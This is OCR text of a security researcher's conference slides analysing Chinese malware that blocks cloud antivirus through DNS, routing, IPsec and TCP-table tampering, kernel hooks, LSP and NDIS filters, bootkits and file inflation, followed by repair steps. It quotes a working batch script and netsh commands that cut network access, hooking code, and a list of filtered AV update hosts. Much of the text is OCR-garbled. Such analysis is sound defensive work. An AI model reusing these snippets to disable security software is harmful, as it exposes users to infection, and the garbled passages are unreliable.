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About the Presenter

Wenjun Zhang (Junzz)

®Kingsoft network security researcher

®Responsible for Kingsoft Internet Security internal kernel driver and
developments against persistent viruses

®Experienced in quick analysis and response of key security events

®Dealt with many well-known viruses in China: R, R, R M, @ =E
KRB, BRI AV ZEESE.
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Methods against cloud-gased —

antivirus softwares

Service Denial

-Deny connections with cloud servers
-Modify search results

‘Metamorphosis

-MDS5 Metamorphosis
-Self-inflation

‘Misc

-BootKit
-Bat * Vbs - Msi
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Service Denaial1-All Service Denial

Discovered Date: Apr 09
Technique:

-Service denial for all client
network connection

Weakness:

-Not specific: all internet
service is off

-Not stealth: easily detected by
user

(@ Hf.bat - JEZEA ©6 6 |
XHE &®EE #A0 ZFEEFYW FHO
Recho off /A\

if not exist c:\lan.txt netsh interface ip dump >c:\lan.txt
if exist c:\lan.txt goto start
:start]

tasklist|find "ZE3F .exe" && goto gs: || goto :sb
:qs
rasdial/disconnect

netsh interface ip set address name=""F1I7¥ " source=dhcp
net stop dhcp

ping 127.1 -n 8 >nul

goto :start

:sb

net start dhcp

netsh -f c:ilan.txt
ping 127.1 -n 8 >nul
goto :start
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Service Denial2-Modify DNS(a)
Discovery Date: Jun 10

Source : http://andy.cd/down/****/20101.asp

Technique Modify DNS server to deny connection to secure servers

Command lines:

netsh interface ip set dns name=*“Local Connection"
- source=staticaddr=122.225.**.***register=PRIMARY
Detail : netsh interface ip add dns "Local Connection™
60.191.** ** 2"

Modify currently connected DNS server change IP of
secure servers to 127.0.0.1 B
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Service Denial2-Modify DNS(b)

ASERTFHAGER
PEZERFRER @)
Rt 8{E
= = SCPRHHE 00-0C-29-07-D7-55
Malicious IP itk 10.20.212. 142
F FIHERD 255. 255. 252.0
DNS BRUA % 10.20.212.1
DHCP R4S 3% 10.20.18. 10
18 7Y 2010-6-2 17:25:34
AL R 2010-6-4 17:25:34
WS 122.225.96. 110
0. 191.72.55
WINS

C:\Documents and SettingsMdministrator>ping wuww.duba.net

Examp_le MOdIfled Pinging www.duba.net [127.8.8.1]1 with 32 bytes of data:
DNS will return secure _

from 127.68.8.1: hytes=32 time{ims TTL=128
Servers, IP as 127.0.0.1 from 127.8.8.1: bytes=32 time{ims TTL=128

from 127.68.8.1: hytes=32 time{ims TTL=128
from 127.8.8.1: hytes=32 time{ims TTL=128
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Service Denial3-Changing Routing Table(a) l

Discovery Date: May 10

Technique :

® Get IP of secure servers

® Add those IP into local routing table

® Add gateway value as local IP+1 in local
routing table
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Service Denial3-Changing Routing

 Example : route
print of infected
computer

by virus

C:\Documents and Settings\Administrator>route print

Active Route
Ne twork
0.0.0.90
18.20.212.9
10.20.212.232
10.255.255.255
32.60.13.0
38.1083.37.
58.83.135.9
58.221.42.9
59.37.71.90
59.39.31.0
59.54.54.0
(A 28 2004 _A

Destination

MS TCP Loophack

Netmask

0.0.0.0
255.255.252.0
255.255.255.255
255.255.255.255
255.255.255.0

.255.0

2
255.255

255.25

255.255.

AMD PCNET

Gatewvay
10.20.212.1
19.20.212.232
127.98.0.1
19.26.212.232
10.20.212.233
19.20.212.233
19.20.212.233
19.26.212.233
10.20.212.233
10.20.212.233
10.20.212.233
1A 24 212 2727

Note: red entries added

interface
Family PCI Ethernet

Interface
10.20.212.232
10.20.212.232

127.0.0.1
190.20.212.232

FEFFEFFSF
FEFEFEES
FEFEFEES
FEFEFEES
fEFEFEFS
fEFEFFFEFEF
FEFEFEES
FEFEFEES

Adapter

Metri
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Service Denial3-Changing Routing

® Technical Realization :

» Get IP of secure server, then change the last number
to0

» Add local 1 to the local IP

» Change dwForwardDest and dwForwardNextHop to
the two previous IPs

» Add IP of secure server to CreatelpForwardEnt

» Effectively creating a loop in the routing table,
making secure servers unreachable




-
Service Denial4-Configurate IP Gr

Policy(a)
Discovery Date: Apr 22 2010

Source http://[117.41.167.xxx:1024/QvodPlayer.exe

Add IP addresses of secure servers into
group policy. When pinging those
addresses, will return Destination host
unreachable.

Method
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Service Denial4-Configurate IP Gro

u
Policy(b)
Modified IP Group Poicy:
-n» ik BRIE 21|
" . o I ESRSIRR M TREREN. 2, 20T I HIETREE
21 - REREEE

B Ip MRERIIR | SEmiEsnE | - f E—
Idlsable connect ip filter list .
- SRS E AR P RIRERIPERIBEA) 1P 7 8 (D) FMQ. ..
=, ESEFIR . - sse. |
- S BB |
A IP i IP %2 HF, ; =
ATARY IP WHESERRIEPAAR IF Z2HRRES e v B7 CENES ©
[T 18 Bfs 06 B | BGHIE G
3 255.255.255.255  <{—]UFEM) I... 124.235.243.0 255. 255. 255. 0
IP WhikagFlIRR L) e 255. 255. 255. 255 <—-/:‘§%% I... 222.215.136.0 255. 255. 255. 0
T 255.255.255.255  <—PYFERY I... 110.81.239.0 255.
| %R |ﬁﬁ I/ 255. 255. 255. 255 <—’\!ﬁ’=%m I.. 255.
dizable S T - 255.255.255.255  <{—]HFEM) I... 255.

o A A A 255.255.255.255  <—]MFEM I...

2 e z wauw = 255,
o2 THE HOLZ1 T 8 = U a8 18T, . . ]

LR ey . 255.255.255.255  <—MFER I... 255.
BrE Ir BEHE MLzt EABHE A E thit. . 755,255, 255,255 <M .. 255,

. 255. 255. 255

<M

255.

221.103.159.0 255,

I

I 219.238.233.0 255.

I 96.17.155.0 255.

1 113.106.201.0 255.

B I 58.221.42.0 255.

MEFERY I... 60.190.222.0 255.

. MFERD I, 117.135.135.0 255.

255 {—MEFER I 202.102.110.0 255.

255 <—HFER I 118.119.189.0 255.

. 255 <—-’\§E% I 115.119.189.0 255,

E g 255 {—MFER I 219.238.45.0 255.
FMD. .. WEE. .. | s ® | 255 (—MHFERY I 122.224.7.0 255.
255 <{—PHEFER I 218.93.16.0 255,

255 <{—HEFERY I 222.135.16.0 255,

W i | A |

THE

ELUMIES
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Service Denial 5-VB Simulate Test

Procedure(a)
Discovery Date: Apr 22 2010

Technique :

® GetExtendedTcpTable to intercept the
TCP connection of target process -

® SetTCPENtry will set target’s TCP’s
connection to Delete -

® Repeat above process ’ Antivirus
soft’s TCP connection will be modified

each reconnect °




P
Service Denial5-VB Simula est
Procedure(b)

® Syndrome : All network of targeted process
will fail

Example: Antivirus log have multiple entries of:
Net Detect Failed

Will not be able to undate definition

18002,132| Net Detect Failed File:
18002,132| Net Detect Failed File:
10002,132| Net Detect Failed File:
18002,132| Net Detect Failed File:
18002,132| Net Detect Failed File:

10002,132| JESEEASENE] File:

:\program files\acd systems\acdsee\5.0\acdsee5.exe
:\windows\system32\urlmon.dll
:\windows\system32\browseui.dll
:\progra™\micros™2\office11\excel.exe
:\pps\ppstream.exe

A\FTE 3\ ludashi\computerz_cn.exe

T °TO0000
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Service Defial5-VB sm:—
Procedure(c)
Realization :

® GetExtendedTcpTable intercept current process’
TCP’s ExTable;

® Use Pid to obtain full path of target process

® Internal table of common antivirus softwares

® Set target processes’ TCP’ state to
MIB TCP_STATE_DELETE_TCB using SetTcpEntry

® Periodic ExTable and ReSe



-
Service Deinal6-Locally Add IP(a)

® Discovery Date: Early Apr 2010

® Techique : Add masked IP address to
local temporary IP addresses :

> Getinterfacelnfo
> AddIPAddress
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Service Deinal6-Locally Add IP(b)

® Source:
||
24
25 dwRet = GetInterfaceInfo{NULL,&duBufferSize);
26 if( dwRet == ERROR_INSUFFICIENT_BUFFER)
27 {
28 plfTable = (PIP_INTERFACE_INFO)HeapAlloc(
29 GetProcessHeap(),
30: HEAP_ZERO_MEMORY,
31 duwBufferSize
32 );
33 GetInterfacelnfo(plfTable,&duwBufferSize);
34 ¥
35
36 Newip = inet_addr{ IPAddr );
37 NewHask = inet_addr("255.255.255.08");
38 ADaptmap = plfTable->Adapter[0];
39
4 6: AddIPAddress( Newip, NewHMask, ADaptmap.Index, &NTEContext, &NTEinstance );
41 HeapFree{GetProcessHeap() ,HEAP_ZERO_MEMORY,plfTable);
42
43 return TRUE;

T SIS
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Service Demal?-HookTW‘

Dispatch Function(a)
Discovery Date : May 30 2010

Source http://gvod.du***.com/gvod/qvod.exe

Malicous driver will change TCP/IP’s IRP Dispatch

Technique

Function. Will compare currently connected domains,
and use ring3 change blacklist URL’s hash. When client
Tries to visit URL with same hash, then mask the
request. At the same time, virus also Hook the Fsd
dispatch function to prevent being discovereg e

@ ELUMES
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Service Denial7-Hook TC
Dispatch Function(b)
®IRP_MJ_INTERNAL_DEVICE_CONTROL modified function

© gcxwfatsnw !Em

2 | mdEs | g | BF RS ]i‘IﬂﬂﬁI e | BER | RE | RAW | £TERE |
B0 Tepip |IEMGRE | IEGRSEE | SPT | HostIf |

Fe | RBEH | MgicREiE | Hook | FissRtiE | AaiREi R |
15 IRP_MT_INTERWAL_DEVI... O0xFG87D32CD tepip hook  OxFBFATFBO C: VWINDOWS\system32404223F1D. sys
0 IRP_MJ_CREATE 0xFEFATDIL - 0xFBFATDIL C:\WINDOWS\system32\DRIVERS\tcpip. sys
1 IRP_MT_CREATE_NAMED_... OxFEFATDS1 - 0xFEFATDOL C: \WINDO¥S\system32\DRIVERS\tcpip. sys
2 IRP_MJ_CLOSE 0xFEFATDIL - 0xFEFATDOL C: \WINDOWS\system32\DRIVERS\tcpip. sys
3 IRF_MJ_READ 0xFEFATDI1 - 0xFEFATDIL C: \WINDOWS\system32\DRIVERS\tcpip. sys
4 IRF_MJ_WRITE 0xFEFATDI1 - 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
5 IRP_MT_QUERY_INFORMA... OxFEFATD91 - 0xFBFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
6 IRP_MT_SET_INFORMATION  OxFEFATDS1 - 0xFEFATDOL C: \WINDO¥S\system32\DRIVERS\tcpip. sys
7 IRP_MT_QUERY_EA 0xFEFATDIL - 0xFEFATDOL C: \WINDOWS\system32\DRIVERS\tcpip. sys
8 IRP_MT_SET_EA 0xFEFATDIL - 0xFEFATDIL C: \WINDOWS\system32\DRIVERS\tcpip. sys
9 IRP_MJ_FLUSH_BUFFERS 0xFEFATDI1 - 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
10 IRP_MT_QUERY_VOLUME_... OxFEFATD91 - 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
11 IRP_MT_SET_VOLUME_IN... OxFEFATDS1 - 0xFEFATDI1 C: \WINDO¥S\system32\DRIVERS\tcpip. sys
12 IRP_MT_DIRECTORY_CON... OxFEFATDS1 - 0xFEFATDOL C: \WINDOWS\system32\DRIVERS\tcpip. sys
13 IRP_MT_FILE_SYSTEM_C... OxFEFATD91 - 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
14 IRP_MT_DEVICE_CONTROL  OxFEFATD91 - 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
16 IRP_MT_SHUTDOWN 0xFBFATDI1 - 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
17 IRP_MJ_LOCK_CONTROL 0xFEFATDI1 - 0xFEFATDIL C: \WINDO¥S\system32\DRIVERS\tcpip. sys
13 IRP_MT_CLEANUF 0xFEFATDIL - 0xFEFATDOL C: \WINDOWS\system32\DRIVERS\tcpip. sys
IRP_MT CREATE_MATLSLOT  OxFEFATDS1 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
_ IRP MJ QUERY SECURITY _ C: \WINDO¥S\svstem32\DRIVERS\tcpip.
IRP_MT_SET_SECURITY 0xFEFATDIL 0xFBFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
22 IRP_MJ_POWER 0xFEFATDI1 - 0xFEFATDI1 C: \WINDO¥S\system32\DRIVERS\tcpip. sys
23 IRP_MT_SYSTEM_CONTROL  OxFEFATDS1 - 0xFEFATDIL C: \WINDOWS\system32\DRIVERS\tcpip. sys
24 IRP_MT_DEVICE_CHANGE 0xFEFATDI1 - 0xFEFATDIL C: \WINDOWS\system32\DRIVERS\tcpip. sys
25 IRP_MT_QUERY_QUOTA 0xFEFATDI1 - 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
26 IRP_MT_SET_QUOTA 0xFBFATDI1 - 0xFEFATDI1 C: \WINDOWS\system32\DRIVERS\tcpip. sys
27 IRP_MJ_PHP_POWER 0xFEFATDIL - 0xFEFATDI1 C: \WINDO¥S\system32\DRIVERS\tcpip. sys

TepipiRERE 1 28, WHPR: 1

ELUN%S
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Service Dehial7-Hook TC
Dispatch Function(c)
®FSD function also changed

o} gcxwfatsnw

BE | mEe | m WF (M | R o | BsW | BE | ®5am | 2TARE |

SSDT | ShadowSSDT FSD  |KBD | Disk | Atapi | Acpi | Sesi | ISEHBTF | MEZRT | RARHT | 0bjectidF | RETHIE |
FS | REEH | MpicREE | Hools | FiscRgithie | MEiREHEERTEARLR -
28 (Htfs)IRP_MT_CREATE 0xFBTD3A1E fsd hook 0xF5434C01 C:\WINDOWS\system32404223F1D. sys

40 (Ntfs)IRP_MJ_DIRECT... 0xF6TD3383 fsd hook 0xF8436FED C:\WINDOWS\system32404223F1D. sys

1] (Fastfat)IRP_MT_CREATE OxFESTTCSA - 0xFBSTTCEA C:\WINDOWS\System32\DriversiFastfat. SIS

2 (Fastfat)IRP_MJ_CLOSE 0xFBST4TCS - 0xFB5ST47CE C:\WINDOWS\System32\Drivers\Fastfat. SYS

3 (Fastfat)IRP_MJ_READ 0xFESTOB0A = 0xFESTOB0A C: \WINDOWS\System32\DriversiFastfat. SYS

4 (Fastfat)IRP_MJ_WRITE  OxFESTOAED = 0xFESTOAED C:\WINDOWS\System32\DriversiFastfat. SIS

5 (Fastfat)IRP_MJT QUE... OxFE57BIS3 - 0xFESTBISS C:\WINDOWS'\System32\DriversiFastfat. SIS

=] (Fastfat)IRP_MJ_SET... OxFBSTE321 - 0xFBSTES21 C:\WINDOWS\System32\DriversiFastfat. SIS

7 (Fastfat)IRP_MT QUE... OxFE587384 - 0xFB53T384 C: \WINDOWS\System32\Drivers\Fastfat. SYS

8 (Fastfat)IRP_MJT_SET_EA OxFE586D49 - 0xFB586049 C:\WINDOWS\System32\Drivers\Fastfat. SYS

9 (Fastfat)IRP_MJ_FLU... OxFESSOBBE = 0xFESS0BBE C:\WINDOWS\System32\Drivers\Fastfat. SYS

10 (Fastfat)IRP_MJT_QUE... O0xFB6581331 - 0xFB581331 C:\WINDOWS\System32\DriversiFastfat. SIS

11 (Fastfat)IRP_MJT SET... OxFES3F4F4 - 0xFBSE8F4F4 C:\WINDOWS'\System32\DriversiFastfat. SIS —
12 (Fastfat)IRP_MJT DIR... OxFESTTB3T - 0xFBSTTE3T C:\WINDOWS\System32\DriversiFastfat. SIS

13 (Fastfat)IRP_MJT _FIL... OxFB573948 - 0xFB5T3948 C:\WINDOWS\System32\Drivers\Fastfat. SYS

14 (Fastfat)IRP_MJT_DEV... OxFESTD46B - 0xFB5STD46E C:\WINDOWS\System32\DriversiFastfat. SYS

16 (Fastfat)IRP_MJ_SHU. .. OxFESSETID - 0xFBSSETID C:\WINDOWS\System32\DriversiFastfat. SIS

17 (Fastfat)IRP_MJ_LOC... OxFES8DC4A - 0xFESSDIC4A C:\WINDOWS'\System32\DriversiFastfat. SIS

18 (Fastfat)IRP_MJ CLE... OxFE5T42FD - 0xFBST42FD C:\WINDOWS\System32\DriversiFastfat. SIS

27 (Fastfat)IRP_MJ PNP... OxF6SSE1DB - 0xFESSE1DE C:\WINDOWS\System32\DriversiFastfat. SYS

30 (Nt£s)IRP_MT_CLOSE 0xF34340EA = 0xF84340EA C:\WINDOWS\system32\drivers'Ntfs. sys

31 (Nt£5)IRP_MT_READ 0xF5411F3B - 0xF3411F3B C:\WINDOWS\system32\drivers'Nifs. sys

32 (Nt£s)IRP_MT_WRITE 0xF8410B57 - 0xF3410B57 C:\WINDOWS\system32\drivers'\Nitfs. sys

33 (Nt£s)IRP_MT QUERY ... 0OxF34352B9 - 0xF54352E89 C:\WINDOWS\system32\drivers'Ntfs. sys

34 (Nt£s)IRP_MT_SET_IN... O0xF3412613 - 0xF5412618 C:\WINDOWS\system32\drivers'Ntfs. sys

35 (Ntfs)IRP_MT QUERY EA  OxFB84352B9 - 0xF84352B9 C:\WINDOWS\system32\drivers'Ntfs. sys

36 (Ntfs)IRP_MT _SET_EA 0xF5435289 = 0xF3435289 C:\WINDOWS\system32hdrivers'Nifs. sys

3T| (Nt£s)IRP_MT_FLUSH_... OxF344EEC3 - 0xF344EECS C:\WINDOWS\system32\drivers'Nifs. sys | Jﬂ
4 »
FSDRERST : 56, MR : 2

ELUN%S
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Service Denfaﬁ-Hook TC
Dispatch Function(d)

® RING3 send loControlCode to drivers
® sent Buf content: Hash code of URLs

0 12 3 45 6 7 8 9 A B CUDEF
7F 72 6C 8B D9 BE 4F C6 DF D8 86 41 CO OC 40 47 I1rlIUI0ERQIAA.@C
CA AB 02 63 A3 OE BB 84 9E B3 C1 C6 AD 63 31 61 E«.cE.»l11%A&-cla
AA 27 40 1D 4F A9 02 99 9D 2B 71 BS 73 71 33 21 2'@.00.11+gpsq3!
2h 8F 83 1A BC 9F C1 9C EC 07 40 5C D4 C4 01 S8 =11.%1411.6N\0A.X
DB OE 7B 02 35 84 80 50 9A EF 83 1A F8 AC D6 08 U.{.S1IPlil.e-0.
AD AE C9 86 2E A1 06 9B 47 (8 SD 3E EC 6F 8F FC -@El.i.IGE]>ioli
70 EO B8 62 2B 2F 3F 40 F1 AB FE A9 7E 00 0A 39 pa, b+/?@fi«p®™,.9
80 79 14 02 91 36 2E 26 ©B8A 72 FF F8 06 5C 1& 87 ly..“6.&lIrye.\.|
CF BO 07 BA OB SF 17 80 40 65 67 1C 4C 9F AF 67 I°.2._.l1@ey.Ll g
35 0B 89 2C 8B 77 CF B7 00 00 00 00 00 00 00 00 S.0,0wl-........

[ >

l:f - e

2@ ELUMLS

— Www.ijinshan.com




Service Defflal7-Hook TC
Dispatch Function(e)

3 Ring0E#£ % 5| £ H51#3F,BI= %1 TCPIP i) IRP 73 % &
£ HOOK:
-2 IRP_MJ_ INTERNAL_DEVICE_CONTROL ﬁzq':

B S RO sl
push 0
push [ebp+uar_4]
- IR G H) 73 & B HURTF My [evpeuar 1], an
push 1FB1FFh
push 0
push 46h
lea eax, [ebp+var_C]
push eax
nov [ebp+var_8], offset aDriverTcpip ; "\\Driver\\Tcpip”
call ds:0bReferenceObjectByName ;
5 NTSTATUS
; ObReferenceObjectByName
: IN PUNICODE_STRING ObjectName,
IN ULONG Attributes,
IN PACCESS_STATE AccessState OPTIONAL,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN POBJECT_TYPE ObjectType,
IN KPROCESSOR_HODE AccessHode,
IN OUT PUDID ParseContext OPTIONAL,
OUT PUDID =Object
)
test eax, eax
jnz short loc_40044F
nov ecx, pTcpObjcet
nov edx, [ecx+74h] ; IRP_MJ_INTERNAL DEUICE_CONTROL fY7 % if%Y
nov 01d_DispatchFunc, edx ; {#7F/B24R0H 5 EE:, ;FEE.@% st a] LA B
mnov dword ptr [ecx+74h], oFFset Hook_DispatchFunc
jmp short loc_40044F

= www.ijinshan. com




Service Deni5|’-Hook TCP?—
Dispatch Function(f)

® TEifjin] M LKET, MRS A,

wE A JHoOokER £Y

EELERE -

> tE¥T RING3 BEEANERBKRFEMNYGE

1A 18] Uk = 7 B RIS &

> HAR, MERG AR R ; 50,18 AR
FEERYIFEAEREBTE o




-
Service Denial7-Hook TCP/IP

Dispatch Function(g)

IR

® | FOCFT360 FACF72a0 check url hash |
W | FACFT365 AL, AL

FACFT36T
FACFT369
FACFT36C
FACFT36F
FACFT374

FACFT3T6

DWORD PTR [EEF+0C]
DWORD PTR [EEF+05]

FACFTToA
FACFTaa3

» | FACFT376 EDI, [EEF+0C]
FACFT379 EDI
FICFT3TA DWORD PTR [EEF+0S]
FACFT3TD DYORD PTR [FOCFS5448]
FACFT383 EDI
FACFT3584 EST
FACFT385 EEX
FACFT386

FACFT387 L 0003

LML

www.ijinshan.com
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Service Denial7-Hook TCPI/I

Dispatch Function(h)

-sllhbug D Monitor (| View G Information - Tools V) Help Ver: 1.99. 1900. 1201 PID: 468 TID.B48 L’E
o T BLCERE S e SR B e TACES BT (e w) (EAX) = (BOFCBOOB) = 8BGCT2TF

CPU O

EAX BOFCBO0S
EBX FICOAIAT
ECX FACOASAT
EDX G4BBOEA3
ESI
EDI
EEP
ESP
EIP
t] EFLAG

FaC
FICFT29F
FICFT2A1
FICFT243
FICFT2A8 2B1
| FOCFT2AA | X [cmp hash
FACFT2AC
FACFT2AR
FACF72B1
FICFT2E3
' ' FICFT28S
o FICFT2B7
FOCFT2B8
FICFT2BA
FICFT2EC
FACFT2ED
FACFT2BE

0023
0030
0000
0010

WIREG ALTHR EENFPU ALTHF |RUMN ALT+X

ELUMIZS
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Service Denial8- LSP Hijac!ing —

Discovery Date : Apr 23 2010

Technique :

> Release zydxc0209.dll, inject to top layer of LSP called
PhoenixLSP. Then release shadowsafe.sys from erased PE head.

» Main function of zydxc0209.dll :
When discovering dnfChina.exe, change shadowsafe.sys’s mz
header ' load shadowsafe.sys to resume SSDT table against TP -

» Search for cached image files for point card for online games.

» Steal account information from images.

l:f - e
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Service Denial9-“Z i ’NDIS Dri

Discovery Date : Apr 16 2010
Source : http://down.liuxue8.com/****/jftv5911.exe

Technique:

Source is an installer of a media player, included is installer.exe which will

release netsflt.sys, netsflt.dll, and install network drivers; use NDIS to
intercept packets, and when packets have the following addresses:

 qup.f.360.cn

« geo.kaspersky.com

« f-sqg.ijinshan.com
 cu010.www.duba.net

www.ijinshan. com




Service Denial9-“Zff M ”NDIS Drive

netsflt.sys Driver will modify lines in the Microsoft DDK:
WinDDK\7600.16385.0\src\network\ndis\passthru

Modified driver will filter addresses of antivirus severs, and
deny requests if those addresses were detected.

if ( MyF PUDID *)(a2 + 4 % result), al) == 1 i
i hl(‘Mz_unt:(*( Y(az + * result), atl) ) while { u3 < a2 );
NdisIMGetCurrentPacketStack({PNDIS PACKET)uv4, &StacksRemaining); if ( u2 ==
:F ( StacksRemaining ) &8 (Stl"Stl‘(Ull, "qup.F.369.(.:n")
NdisSend(&Status, *(_DWORD *)(u5 + 4), uk); || strstr{vi4, "rsupiB.rising.com.cn")
|| strstr{vi4, “rsdownauto.rising.com.cn')
|| strstr{vi4, “cloudinfo.rising.com.cn")
|| strstr{vi, "cuBB5.www.duba.net™)
S E— || strstr{uvi, "cubi18.www.duba.net")
-8 AMD PCHET Family PCI Ethernet Adapter — 1 EIFE i " "
- EE) Wware Accelerated AMD PCHet Adapter I I Stl"Stl“(Ull», "CU .WW!!J..(.]I.Iba -net )"
[- Wware Accelerated AMD PCHet Adapter — netsflt Miniport | I I StI"StI"(Ull, F_Sq '1]1n5han -com )
- EB WAN WEERO (IF) || strstr(vi, "geo.kaspersky.com™)
[ E8 wAW RRIRO (IF) - netsflt Miniport || strstr{vi, "sdupm.366.cn")) )
- EE AN RO (0IP) - BB REEFERERO et
- EEWAN B (L2TF)
- EE WAN RRNRO (PFPOE)
-8 wAN RRRO (PPTE)
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Repair network abnormity (1)

® Modified DNS:
Change DNS server to 8.8.8.8 or other public DNS

® Modified Local Routemap:

Delete all entries related to secure servers. Prevent third
party softwares from editing routemap.

® Repair IP Group Policy:

Stop PolicyAgent Service, check HKEY_LOCAL_MACHINE

\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local,
delete abnormal records, restart PolicyAgent service.
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Repair network abnormity 2

® VB Simulation Repair :

Fix connection status and also prevent TcpTable to be modified in the
future.

® Hook TCPIP Repair:

Detect HOOKed IRP Dispatch Function ' read the address of the dispatch
function. See if TCPIP.SYS is within the memory mapview, if not, then

disable its filtering process, then delete the malicious driver and restart.

® NDIS Driver repair:
Do not force delete the driver files , but use UUID to search for COM
connect: user Delnstall in Queryinterface -> INetCfgClassSetup -
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“Ghost Shadow”-Activation Procedure .
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“Ghost Shadow”-Disk Distribution .

0 [X BootRootkit iz {44 ([FMBR)
15 X BootRootkit # {711 [ 4iMBR
2 X Inline Code Patch hook :

35X Load Virus Drive

#7 2 E BT) Atixx.sys ‘

4f5 X

34)¢] X

BRSO S E RN

35)5 X

#Z:Mz(1100000.dIl |

565 X




“Ghost Shadow”-Types .

® “Ghost Shadow” 15t gen : Release atixx.sys driver,
use company hash codes to close antivirus software,
then inject virus DLL to explorer.

® “Ghost Shadow” 2"d gen : Change fips.sys, use
ImageLoadCallBack to close antivirus software based
on company name

® “Ghost Shadow” 3'd gen : Change beep.sys, use
Startlo of atapi or scsi to prevent being repaired,
activate after writing alg.exe




“Ghost Shadow”-Discovery .

® Characteristics Identification

® Multiple Disks

® Partition Table Abnormality

® Whether raw MBR(master boot record) is
legal




“Ghost Shadow”-Repair .

Repair Method:

* Find the original backup sector

» Decrypt

» Determine whether sector table is legal

« Generic MBR rearrange main sectors
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Metamorphosis-Self Inflation(1)

® Discovery Date : May 1 2010
® Add redundant values to increase file size :

,

& File Edit Search Position View Tools Specialist Options Window Help B@E
DELHEafEEy -Babhip ALY KN -PNEs  QF0c@0 H4POE | £

goumalwupingingdan. exe. v |

goumawupingingdanexe  Offset | 0 1 2 3 4 5 6 7 8 9 A B C D E F -
CiUsers\AdministratoriDe = 01701600 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
01701610 46 46 46 46 46 [16 46 46 46 46 46 46 46 46 46 46 FFFFFEFFFFFFF
01701620 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
01701630 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
01701640 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF

File size: 216 MB
226,373,600 bytes

DOS name: GOUMAI~1.V

Default Edit Mode 01701650 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
State: original | 01701660 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
Undo level: 0| 01701670 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
Undo reverses: na | 01701680 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF

Creation fime: 2011/0531 | 01701680 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
152737 | O17016A0 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
Lastwrite ime2011/0531 | 017016B0 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
13:36:44 | 017016C0 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
Atributes:  13:36:444 | D17016D0 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF
Icons: 2| D17016ED 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF

017016F0 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 FFFFFFFFFFFFF

Mode: hexadecimal | . 501500 | 4g 46 AR A6 AR A6 46 A6 AR AR AR AR 4G 4G 4G 4G FRRRRREFRRRRR ©
Character set ANSIASCII | ¢ | = j .

Page 88688 of 832256 Offset: 1701615 =70 Block: n/a Size: n/a
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Metamorphosis-Self Inflation(2)

® Discovery Date : June 12 2010
® Add redundant values in registry

¥R VEEESR  iridss
= [E] NSI_KBST091209_2. THE 00000000 00 00000000 no 00000000000000000000 ... .. ......... v
50 18 00000010 00000000000000000000000000000000 o\ .\....... —
200 00000020 000000 00000000000000000000000000 .. ...\ ... ..
B 00000030 000000 00000000000000000000000000 .. .o\ ... ..
201 00000040° 00000000000000000000000000000000 .. ... ......

O Rl 000000S0: 00000000000000000000000000000000 .. .............
00000060: 00000000000000000000000000000000 ... ... ...
00000070: 000DODODO00000000000000000000000 ... .............
00000080: 000D0ODODO000000000000000000000000 ... ... ..
00000090: 00000000000000000000000000000000 .. .............
000000AD: 00000000000000000000000000000000 ... ... ..
000000BD: 000DODODO000000000000000000000000 .. ........... ...
000000C0: 000DODODODO0000000000000000000000 ... ... .. ..
000000D0: 00000000000000000000000000000000 .. ... ...
000D00ED: 00000000000000000000000000000000 ... ... .....
000000FD: 000DODODO000000000000000000000000 .. ............ ..
00000100: 000DODODO000000000000000000000000 ... ... .. ..
00000110: 00000000000000000000000000000000 .. .............
00000120: 00000000000000000000000000000000 .. ..............
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Metamorphosis-Self Inflation(3)

® Discovery : Mar 2011
® Distribution : Trojan |f:x:::

® Add invalid segment |fse:
in PE (program

executable) section || . oo - owmscors  siee.oxsacioess

= 3 - j
- - men
Section Vieer NS L

Name V. Offset V. Size R. Offset R. Size Flags -
rdata 0008EOO0 00001000 00087200 00000200 50000040

.idata 0008FO00 00003000 00087400 00002300 40000040

.edata 00092000 00001000 00089C00 00000400 40000040 |
JIsrc 00093000 00159000 0008A000 00158200 40000040 =
reloc 001ECO00 00008000 001E2200 00007C00 50000040

fire 001F4000 02C13000 001ESEOD 02C12EFS EOOOOOQED

Close
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Metamorphosis-Local

® MD5 local metamorphosis
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Cloud’s Characteristics .

® Method of Communication : Internet

® Response Time : Quick Response and
Distribution

® Response Collection : Limited Supported
Filetypes: PE * RAR ~ ZIP ~ MSI ;

® Collection Method : Rely on Client




Virus’s Anti-Cloud Methods

® Method of Communication : Service Denial

® Response Time : Self-Inflation, MD5
Metamorphosis

® Response Collection : Use Unsupported
Filetypes: VBS ~ BAT

® Collection Method : Hide Rootkit Document




Conclusion .

From early examples of aggressive service
denial, to more specific self-masking,
techniques of viruses to avoid detection
has improved dramatically over time.
However, these viruses seem to have
switched strategy from direct
confrontation to indirect maneuvers,
perhaps they are also searching for a
